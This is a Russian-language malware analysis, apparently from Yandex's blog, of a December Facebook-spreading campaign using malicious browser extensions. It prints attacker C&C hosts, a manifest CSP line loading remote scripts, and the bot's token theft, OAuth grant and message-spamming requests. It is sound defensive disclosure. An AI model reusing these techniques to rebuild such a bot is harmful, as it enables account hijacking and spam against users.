Расследование Яндекса: full disclosure о вирусе на Facebook

в 10:57, , рубрики: javascript, безопасность, Блог компании Яндекс, информационная безопасность

В середине декабря в российском сегменте Facebook можно было наблюдать массовое заражение пользователей вирусом, который распространялся посредством спам-рассылок личных сообщений и публикаций со ссылками на якобы приватное видео.

По информации СМИ, Facebook справился с угрозой и заблокировал распространение вредоносных сообщений. Однако позже мы обнаружили дальнейшее распространение ряда вредоносных ссылок и решили разобраться в том, как работает эта атака, чтобы защитить от неё пользователей Яндекс.Браузера.

СМИ сообщали, что виной всему было вредоносное расширение YouTurn для браузера Chrome, которое пользователю предлагалось установить, если он переходил по ссылке, полученной от своего зараженного друга. Но мы выяснили, что в рамках этого заражения использовалось несколько расширений. YouTurn, кстати, 16 декабря уже было удалено из ChromeStore.

image

Все они были одинаково устроены, но распространялись под разными названиями и в разное время через фишинговые ресурсы, похожие на страницу Facebook и размещённые на Amazon S3. Интересно, что помимо механизмов распространения они подгружали во все вкладки браузера рекламные баннеры с сомнительным содержимым и предоставляли доступ к аккаунту зараженного пользователя внутреннему приложению с некоторым ID, которое Facebook тоже заблокировал.

Итак, таким ли безобидным был этот «вирус», и что в нём было нового?

Анализ схемы распространения зловреда

Вредоносная ссылка во всех случаях была сгенерирована с помощью различных сервисов сокращения, при переходе на нее пользователь отправлялся по цепочке серверных редиректов, например:

http://goo.gl/rlzp52 -> https://dl.dropbox.com/s/xw7h4fc427avpp5/rwqhebhjwqbehjqwhje_3_2_4.htm?445694741?MYBn8KdpVhlnHNc0drEE -> https://dl.dropboxusercontent.com/s/xw7h4fc427avpp5/rwqhebhjwqbehjqwhje_3_2_4.htm?445694741%3FMYBn8KdpVhlnHNc0drEE= ,

конечным пунктом была веб-страничка на dropboxusercontent.com. Она содержала очень простые js-скрипты, главной функцией которых была проверка браузерного объекта “navigator” и выполнение редиректа в зависимости от его значения. Мобильные пользователи и пользователи IE перенаправлялись на веб-страницу teladea.blogspot.com, которая содержала видеоролик с пародией на фильм «Пятница, 13-е» и ссылку на сайт Красного Креста.

Расследование Яндекса: full disclosure о вирусе на Facebook - 2

Пользователей Firefox скрипты редиректили по ссылке http://video51828.s3-website-us-west-2.amazonaws.com/mf39.html, а перешедших по ссылке в Chrome уводили на http://video51828.s3-website-us-west-2.amazonaws.com/jqnwrjkq/index.html, ну и пользователь с подстрокой “Facebook-bot” в navigator перенаправлялся на Google.

Расследование Яндекса: full disclosure о вирусе на Facebook - 3
Код landing-page

Веб-страница для пользователей Firefox (http://video51828.s3-website-us-west-2.amazonaws.com/mf49.html) была замаскирована под YouTube (веб-контент формировался преимущественно через js). Если пользователь заходил на данную страничку с мобильного устройства на базе платформы Android, выполнялся редирект на веб страницу s.html, которая на момент анализа была уже недоступна. Если же браузер был десктопный, страница вместо видео показывала сообщение о том, что для просмотра необходимо обязательно обновить FlashPlayer. Полный код можно увидеть тут.

Расследование Яндекса: full disclosure о вирусе на Facebook - 4

При нажатии на на кнопку «update Player» в браузер Firefox устанавливалось расширение для браузера “PremiumCodec”, которое загружалось по ссылке http://premiumd1.mzzhost.com/premiumD.xpi. Интересно, что Firefox требует дополнительного разрешение установки расширения, но злоумышленники учли этот момент и c помощью js-кода после нажатия обновления плеера формировали дополнительный , показывающий картинку с указателем, куда надо нажимать, чтобы разрешить установку.

Расследование Яндекса: full disclosure о вирусе на Facebook - 5

Непосредственно установка расширения осуществлялась при выполнении кода:


top["location"] = http://premiumd1.mzzhost.com/premiumD.xpi.

За эту функциональность отвечал обфусцированный js-скрипт, который располагался прямо на странице.

Расследование Яндекса: full disclosure о вирусе на Facebook - 6
Фрагмент деобфусцированого кода установки расширения в FireFox

Анализ расширения представлен ниже в соответствующем разделе поста.

Веб-страница для пользователей Chrome (http://video51828.s3-website-us-west-2.amazonaws.com/jqnwrjkq/index.html) также была фишинговой и пыталась выдавать себя за Facebook. Ее содержимое также генерировалось с помощью javascript.

Расследование Яндекса: full disclosure о вирусе на Facebook - 7

Полный код страницы можно посмотреть тут.

При нажатии на область с видеороликом пользователю сообщалось, что у него не найден проигрыватель, и предлагалось поставить специальное расширение для браузера, чтобы компенсировать этот досадный недостаток. В нашем случае это было расширение YouTube Now (id akmghomonnhljmlfemmifjblglkacfhg), которое устанавливалось из Chrome Web Store c помощью js-механизма chrome.webstore.install.

Расследование Яндекса: full disclosure о вирусе на Facebook - 8
Фрагмент деобфусцированного скрипта установки расширения

Расследование Яндекса: full disclosure о вирусе на Facebook - 9
Страница приложения в Chrome Web Store

В качестве источника для расширения был указан тот же самый адрес веб-сайта на Amazon S3, c которого оно и распространялось.

Анализ расширения для Firefox

Расширение состояло из целого ряда файлов, оно было построено на основе платформы Crossbrowser.com, но обладало очень простой функциональностью. Оно вставляло во все открытые вкладки браузера скрипт http://adeaditi.info/kmain.js путем добавления нового тега <script> к head документа. Сам kmain.js подгружает к веб-странице внешние скрипты, которые внедряют баннеры с сомнительным содержимым. Никакого функционала по работе с Facebook обнаружено не было, вполне возможно, что до момента анализа http://adeaditi.info/kmain.js имел совсем другое содержимое и подгружал что-то еще. Так или иначе, жалоб от пользователей Firefox на заражение Facebook-вирусом мы не зафиксировали и двинулись в нашем расследовании дальше.

Расследование Яндекса: full disclosure о вирусе на Facebook - 10
Фрагмент кода расширения PremiumCodec

Расследование Яндекса: full disclosure о вирусе на Facebook - 11
Код скрипта http://adeaditi.info/kmain.js

Анализ расширения для Chrome

Плагин оказался небольшим и состоял всего из трех файлов: icon128.png, manifest.json и main.js. На первый взгляд может показаться, что расширение создает дополнительный пункт в контекстном меню для поиска видео на YouTube, однако в манифесте отсутствовал идентификатор «contextMenus» в секции permissions. Кроме того, в манифесте расширения можно было сразу заметить строчку:

"content_security_policy": "script-src 'self' 'unsafe-eval' https://bmw5done.info; object-src 'self' 'unsafe-eval'",

которая свидетельствует о том, что расширение согласно своей CSP может подгружать по https и исполнять внешние скрипты с хоста bmw5done.info.

Наибольший интерес представлял обфусцированный участок main.js

Расследование Яндекса: full disclosure о вирусе на Facebook - 12
Фрагмент обфусцированного кода в main.js

Деобфускация показала, что данный код сводится к простому вызову document.write(“https://bmw5done.info/indonesia/ld.js”).

Таким образом в расширение и инжектился внешний скрипт ld.js, полный код которого можно посмотреть тут. Изначально в скрипте вызывается функция box, которая формирует ajax-запрос вида:

https://bmw5done.info/qbrweq.js?187630.24409614317

Если в ответ приходит json, он обрабатывается и из него извлекаются поля с именем uri, которые потом сохраняются в массив cmd. Однако в ответ на данный запрос json получить нам так и не удалось, кроме того, массив cmd далее в коде нигде не использовался. Возможно, данная функция осталась от старых версий скрипта или присутствовала в нем в отладочных целях.

Далее ld.js проверял наличие в localStorage браузера записи ran_before, и, если проверка завершалась неудачей, создавал такую запись со значением 1, затем открывалась новая вкладка со страницей facebook.com.

Расследование Яндекса: full disclosure о вирусе на Facebook - 13
Фрагмент кода ld.js

Также скрипт устанавливал две callback-функции на обновление всех вкладок. Одна из них проверяла, не присутствует ли в url обновленной вкладки строка “devtools://”, и если нет, то скрипт далее отправлялся ajax-запрос по адресу https://bmw5done.info/qbrweq.js?, а полученный ответ исполнялся как скрипт в контексте вкладки с помощью метода chrome.tabs.executeScript. Второй callback закрывал вкладки, если в их URL содержались подстроки: “chrome://chrome/extensions”, “opera://extensions”, “chrome://extensions/”. Но так как в Chrome с 2012 года уже не поддерживается такая функциональность, он не работал.

Что же приходило в ответ на запрос qbrweq.js? Это был массивный скрипт, который и был ядром Facebook-бота, его полный код можно посмотреть тут.

Данный скрипт проверял, исполняется ли он в контексте вкладки с URL “www.facebook.com”, и если да, то запускалась целая последовательность действий. Сначала отрабатывал код, который пытался получить элементы с классами uiToggle wrap, uiPopover. _5ce. Если такие элементы находились, их код удалялся. Видимо, это делалось для борьбы с конкурирующими или неугодными авторам вредоносного кода расширениями, добавляющими в страницы Facebook дополнительные элементы.

Расследование Яндекса: full disclosure о вирусе на Facebook - 14
Часть кода qbrweq.js, удаляющего элементы других расширений

Далее бот делал ajax-запрос в корневой каталог facebook.com, после чего анализировал ответ и document.cookie регулярными выражениями, чтобы извлечь из ответа ANTI-CSRF-токен “fb_dtsg” и uid пользователя. Эти данные сохранялись в ряд переменных, чтобы усложнить анализ кода.

Расследование Яндекса: full disclosure о вирусе на Facebook - 15

Далее формировался запрос по URL https://bmw5done.info/apostime.php — данный php-скрипт выполнял роль C&C для бота. На момент анализа данный скрипт уже не отвечал, но по коду видно, что ответом должен быть json, который состоит из как минимум двух полей: link и type. Например такой:

{ "link": "https://dl.dropbox.com/s/o2yzr7kfewaqc1o/sa7d89as987d78a9d89s_2_2_2.htm?1241705463", "type": "aktiv" }.
Из ответа выбиралось поле link, к данной ссылке дописывался знак «?», а также случайная последовательность из 20 букв и цифр, после чего бот отправлял эту ссылку через ajax-запрос к сервису сокращения ссылок https://www.googleapis.com/urlshortener/v1/url. Полученный ответ сохранялся в localStorage под именем “fb_postlink”. Именно эта ссылка использовалась в дальнейшем для публикации на странице пользователя.

Следующим шагом бот получал через ajax-api graph.facebook.com фото профиля и базовые данные об аккаунте. Также через сервис https://facebook.com/ajax/typeahead/place_tag_friends.php запрашивался json с данными обо всех друзьях пользователя. Этот json обрабатывался, и из него формировался новый двумерный массив friends_fields, каждый элемент которого содержал максимум 20 строк вида:

“&composertags_with[19]=<id_друга зараженного пользователя>".

Расследование Яндекса: full disclosure о вирусе на Facebook - 16
Фрагмент кода с получением данных о друзьях пользователя и разбиением их на группы по 20

После этого бот создавал переменную veri, в которой сохранялась длинная строка со всеми элементами массива friends_fields.

Далее генерировалась псевдослучайная строка, которая сохранялась в переменной msjrandom. Если в json, полученном от C&C, содержалось поле ‘aktiv’ со значением 1, вызывалась функция post_add(). Эта функция размещала на странице пользователя публикацию под заголовком “Имя пользователя ” + “Private Video” с текстом из переменной msjrandom, а также со ссылкой из «fb_postlink». Кроме того, на видео отмечались все друзья пользователя (для этого и нужна была переменная veri). Это позволяло охватить большую аудиторию.

Можно также отметить, что в коде есть функция Like, однако входная переменная для нее не определена, поэтому ее вызов ни к чему не приводил. Возможно, предполагалось, что бот будет ставить лайк свежему посту.

Следующим шагом вызывалась довольно странная функция:

uygulamaizinver(TokenUrl("517220311745087"));

Анализ кода показал, что с помощью этого вызова осуществлялся вызов страницы предоставления доступа к Facebook-аккаунту для Facebook-приложения с id 517220311745087. Функция TokenUrl() формировала нужный url веб-страницы:

https://www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id=517220311745087&redirect_uri=fbconnect://success&sso_key=com&scope=email,publish_stream,user_likes,friends_likes,user_birthday

Расследование Яндекса: full disclosure о вирусе на Facebook - 17

Функция uygulamaizinver() делала нужный ajax-запрос, ответ на который она конвертировала в html, искала в нем форму, а также получала значение action у формы. Далее эти данные передавались в функцию duzenlevegonder(), которая анализировала содержимое полей формы и генерировала нужный запрос с подтверждением доступа, если в ответ приходила еще одна форма, функция duzenlevegonder() вызывалась рекурсивно.

Расследование Яндекса: full disclosure о вирусе на Facebook - 18

Так бот предоставлял доступ к аккаунту Facebook для стороннего приложения с правами рассылать сообщения, публиковать сообщения в ленте, ставить лайки и получать данные о днях рождения. На момент анализа данное приложение уже было неактивно. Но на этом функциональность программы не заканчивалась.

Далее скрипт еще один раз проверял, находится ли пользователь на facebook.com, снова получал данные о пользователе и токен, после этого вызывал функцию babasker(), которая делала запрос по адресу https://bmw5done.info/ag.php. Это еще один php-скрипт, который работал в качестве C&C, как позже выяснилось, его данные были специально адаптированы под API отправки личных сообщений в Facebook. В ответ приходил json вида:

{ "link": "https://dl.dropbox.com/s/o2yzr7kfewaqc1o/sa7d89as987d78a9d89s_2_2_2.htm?1241705463", "base": "facebook.com", "okan": , "foto1": "https://graph.facebook.com/", "foto2": "/picture?type=large&width=150&height=150", "titulli": , "friends": "jo", "friendname": "jo", "type": "aktiv","web": "po" }

Если в ответе было поле “type” со значением aktiv, бот отправлял ajax-запрос к сервису www.googleapis.com/urlshortener/v1/ для того, чтобы сократить полученную ссылку, содержавшуюся в ответе от C&C в поле “link”, далее ссылка также сохранялась в localStorage в поле с именем «fb_postlink», заменяя предыдущую, а также логировалась в консоли. После этого вызывалась функция qwecek(), в которую передавались остальные параметры из полученного от C&C json.

Эта функция через AJAX-API Facebook facebook.com/ajax/chat/buddy_list.php?__a=1
собирала список id друзей, которые находились онлайн в Facebook-чате, в массив configList. Далее в цикле из 20 итераций случайным образом выбирался id жертвы и извлекалось его имя. Эти данные вмеcте с еще не использованными к тому моменту параметрами из json передавались в функцию benimesaj(), которая собирала для каждого пользователя строку вида:

message_batch[0][action_type]=ma-type%3Auser-generated-message&message_batch[0][author]=fbid%3A<id_зараженного_пользователя>&message_batch[0][author_email]&message_batch[0][coordinates]&message_batch[0][timestamp_time_passed]=0&message_batch[0][is_unread]=false&message_batch[0][is_cleared]=false&message_batch[0][is_forward]=false&message_batch[0][is_filtered_content]=false&message_batch[0][is_spoof_warning]=false&message_batch[0][source]=source%3Achat%3Aweb&message_batch[0][source_tags][0]=source%3Achat&message_batch[0][body]= &message_batch[0][has_attachment]=true&message_batch[0][html_body]=false&&message_batch[0][specific_to_list][0]=fbid%3A<id_друга_online>&message_batch[0][specific_to_list][1]=fbid%3A<id_зараженного_пользователя>&message_batch[0][content_attachment][subject]=IP6%20Short%20URL%20-%20Free%20service&message_batch[0][content_attachment][app_id]=2309869772&message_batch[0][content_attachment][attachment][params][urlInfo][canonical]=<fb_post_link>&message_batch[0][content_attachment][attachment][params][urlInfo][final]=<fb_post_link>&message_batch[0][content_attachment][attachment][params][urlInfo][user]=<fb_post_link>&message_batch[0][content_attachment][attachment][params][favicon]=&message_batch[0][content_attachment][attachment][params][title]=<Имя_друга_online>jo&message_batch[0][content_attachment][attachment][params][summary]=youtube.com&message_batch[0][content_attachment][attachment][params][images][0]=https://graph.facebook.com/<id_друга_online>/picture?type=large&width=150&height=150&message_batch[0][content_attachment][attachm...k_
metrics][images_pending]=0&message_batch[0][content_attachment][link_metrics][images_fetched]=0&message_batch[0][content_attachment][link_metrics][image_dimensions][0]=626&message_batch[0][content_attachment][link_metrics][image_dimensions][1]=293&message_batch[0][content_attachment][link_metrics][images_selected]=1&message_batch[0][content_attachment][link_metrics][images_considered]=1&message_batch[0][content_attachment][link_metrics][images_cap]=3&message_batch[0][content_attachment][link_metrics][images_type]=ranked&message_batch[0][content_attachment][composer_metrics][best_image_w]=100&message_batch[0][content_attachment][composer_metrics][best_image_h]=100&message_batch[0][content_attachment][composer_metrics][image_selected]=0&message_batch[0][content_attachment][composer_metrics][images_provided]=1&message_batch[0][content_attachment][composer_metrics][images_loaded]=1&message_batch[0][content_attachment][composer_metrics][images_shown]=1&message_batch[0][content_attachment][composer_metrics][load_duration]=4&message_batch[0][content_attachment][composer_metrics][timed_out]=0&message_batch[0][content_attachment][composer_metrics][sort_order]=&message_batch[0][content_attachment][composer_metrics][selector_type]=UIThumbPager_6&message_batch[0][ui_push_phase]=V3&message_batch[0][status]=0&client=mercury&__user=AAA&__a=1&__dyn=7n8anEAMCBynzpQ9UoGya4Cq74qbx2mbAKGiyGGEZ9LFDxCm6p_AyoSnx2&__req=f&fb_dtsg=100004008835111&ttstamp=2658172571218810680459011989&__rev=1300533
.

Далее с помощью API facebook.com /ajax/mercury/send_messages.php?__a=1 и сгенерированной строки происходила рассылка личных сообщений друзьям, которые были онлайн в чате, с их фотографиями и ссылкой на страницу распространения.

Расследование Яндекса: full disclosure о вирусе на Facebook - 19
Фрагмент кода получения id друзей жертвы и отправка личных сообщений

После этого в localStorage сохранялась запись okanxxxxss2 со значением текущего времени + 11e4, после чего заново запускалась функция babasker() и история повторялась.

Кроме того, в самом конце скрипта можно было заметить код уже знакомый по расширению для Firefox. Он приводит к появлению на любой вкладке рекламных баннеров, так как его вызов не зависит ни от каких условий.

Расследование Яндекса: full disclosure о вирусе на Facebook - 20

Интересно, что за счет выполнения этого кода в контексте вкладки через вызов chrome.tabs.executeScript данный код выполняется независимо от CSP-сайта, то есть скрипты с //superfish.com, //ads.panoramtech.net и srv1.clk-analytics.com будут вставлены и выполнены в head любого сайта, даже если CSP этого не позволяет. Однако появление баннеров зависит от ряда условий, конкретные скрипты подключали из себя другие внешние скрипты, что блокировалось CSP facebook.com. Если бы баннеры генерировались прямо этими скриптами, нарисовать баннер получилось бы даже на страничке в соцсети. Защитить от такого помогли бы директивы img-src и object-src, которые у facebook.com в рамках CSP не заданы.

Выводы

Небольшое расширение для Chrome, как оказалось, таило в себе две угрозы для безопасности помимо своего распространения за счет спам-публикаций и рассылок:

  • оно предоставляло доступ к аккаунту для стороннего неизвестного нам приложения. Таким образом злоумышленники через это приложение могли выполнять целый ряд нежелательных или даже опасных для жертвы действий на ее странице;
  • оно внедряла рекламные баннеры с сомнительным контентом на самых разных сайтах — везде, где это получалось сделать.

Еще одной из немаловажных особенностей обоих расширений являлось то, что их функциональность могла поменяться в любой момент, т.к. сами расширения фактически подгружали свой код с внешнего сервера, который в разные моменты времени, а также в зависимости от каких-либо параметров зараженного пользователя мог отдавать совершенно разный код. Например, изначально код, подгружаемый с внешнего сервера, мог быть безобидным, а спустя какое-то время стать вредоносным.

Кроме того, на том же сервере, где располагался C&C бота, были размещены и другие ресурсы, например, adeaditi.info
и cracks4free.info.

О некоторых из них можно найти сообщения в сети:

support.mozilla.org/ru/questions/959873
stackoverflow.com/questions/17982902/prevent-malware-javascript-from-executing

Видно, что данные ресурсы появились довольно давно и создают проблемы для пользователей сети. Кроме того, сниппеты кода, которые содержались в коде внешнего скрипта бота, можно найти на разных ресурсах с датой публикации 2012 год.

Это позволяет говорить о том, что данная программа уже давно существует и не является чем-то новым. Активность ее в российском сегменте Facebook в декабре очень похожа на пробный запуск или неконтролируемый тест. Кроме того, код бота очень похож на код некоторых похожих вредоносных расширений, которые распространялись, судя по публикациям в сети, еще в 2011 году. Это позволяет говорить о том, что данная программа уже давно существует и не является чем-то новым. Также можно сделать вывод о том, что данное заражение аффилировано с кампаниями по распространению сомнительной рекламы и подмене рекламы в браузерах.

По итогам расследования мы заблокировали найденные вредоносные ссылки в нашем SBAPI и DNS, а также вредоносные расширения в Яндекс браузере. Для того, чтобы уберечь свои устройства и устройства своих друзей от заражения, остерегайтесь установки подозрительных расширений, не кликайте по странным ссылкам в социальных сетях, не устанавливайте сомнительные расширения для браузеров. Если вы вебмастер — используйте CSP на сайтах, которыми владеете, настраивайте директивы img-src и object-src, если возможно, для того, чтобы ограничить подгрузку в браузерах своих пользователей внешних сомнительных рекламных баннеров, а также избежать подмены оригинального контента своего сайта.

Автор: L1kvID

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js